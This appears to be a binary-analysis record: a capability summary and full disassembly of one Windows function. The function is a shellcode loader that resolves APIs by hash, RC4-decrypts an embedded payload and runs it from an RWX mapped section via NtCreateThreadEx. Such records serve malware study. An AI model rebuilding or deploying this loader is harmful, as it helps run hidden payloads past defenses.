Function at 0x140001070
Capabilities:
Check os version
Encrypt data using rc4 via systemfunction032
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x18], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x14000145f
cmp dword [rax + 0x118], 0xa
jne 0x14000145f
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rcx, qword [rdi + 0x20]
cmp word [rcx], ax
jne 0x14000145f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14000145f
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x14000145f
xorps xmm0, xmm0
lea r8, [rsp + 0x60]
xor eax, eax
mov rdx, rbx
mov qword [rbp - 0x30], rax
movabs rax, 0x6ef3a4dd8f9aa11f
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call fcn.140001490
test eax, eax
je 0x14000145f
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x78]
movabs rax, 0x2abfe4580166eb59
mov rdx, rbx
mov qword [rbp - 0x80], rax
call fcn.140001490
test eax, eax
je 0x14000145f
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x70]
movabs rax, 0x1ce94cfbe8d41e5c
mov rdx, rbx
mov qword [rbp - 0x68], rax
call fcn.140001490
test eax, eax
je 0x14000145f
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x58]
movabs rax, 0x4118c36e6182b48c
mov rdx, rbx
mov qword [rbp - 0x50], rax
call fcn.140001490
test eax, eax
je 0x14000145f
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x40]
movabs rax, 0x4d68409a7808ab5f
mov rdx, rbx
mov qword [rbp - 0x38], rax
call fcn.140001490
test eax, eax
je 0x14000145f
lea rax, [0x140005160]
mov dword [rbp], 0x10
lea rbx, [0x140005050]
mov qword [rbp + 8], rax
lea rcx, str.Advapi32
mov qword [rbp - 8], rbx
mov dword [rbp + 4], 0x10
mov dword [rbp - 0x10], 0x110
mov dword [rbp - 0xc], 0x110
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp]
lea rcx, [rbp - 0x10]
call rax
test eax, eax
je 0x14000125b
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rcx, str.Rc4EncryptionViSystemFunc032_Failed
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001464
movzx ecx, word [rsp + 0x70]
xor edi, edi
mov qword [rbp - 0x18], rdi
mov qword [rbp], rdi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rdi
mov qword [rbp + 0x10], 0x110
call fcn.1400015e0
mov qword [rsp + 0x30], rdi
lea r9, [rbp + 0x10]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp - 0x18]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.1400015f1
test eax, eax
je 0x1400012c3
lea rcx, str.____NtCreateSection_Failed_With_Error:_0x_0.8X_n
mov edx, eax
call fcn.140001010
lea eax, [rdi - 1]
jmp 0x140001464
movzx ecx, word [rbp - 0x78]
call fcn.1400015e0
mov rcx, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp - 0x20]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rdi
call fcn.1400015f1
test eax, eax
je 0x140001324
lea rcx, str.____NtMapViewOfSection_Failed_With_Error:_0x_0.8X_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001464
mov r8, qword [rbp - 0x10]
lea rcx, str.___Allocated_Address_At:_0x_p_Of_Size:__d_n_n
mov rdx, qword [rbp - 0x20]
call fcn.140001010
lea rcx, str.___Press__Enter__To_Write_Payload
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rax, qword [rbp - 0x20]
mov ecx, 2
lea rax, [rax + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rcx, 1
jne 0x140001353
movups xmm0, xmmword [rbx]
lea rcx, str.___Done_n_n
movups xmmword [rax], xmm0
call fcn.140001010
lea rcx, str._i__Press__Enter__To_Run
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
movzx ecx, word [rbp - 0x30]
call fcn.1400015e0
mov rax, qword [rbp - 0x20]
lea rcx, [rbp]
mov qword [rsp + 0x50], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov qword [rsp + 0x40], rdi
mov edx, 0x1fffff
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.1400015f1
test eax, eax
je 0x14000142a
lea rcx, str.____NtCreateThreadEx_Failed_With_Error:_0x_0.8X_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001464
movzx ecx, word [rbp - 0x48]
call fcn.1400015e0
mov rcx, qword [rbp - 0x18]
call fcn.1400015f1
test eax, eax
je 0x140001455
lea rcx, str.____NtClose_Failed_With_Error:_0x_0.8X_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001464
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001464
mov eax, 1
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140001610
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret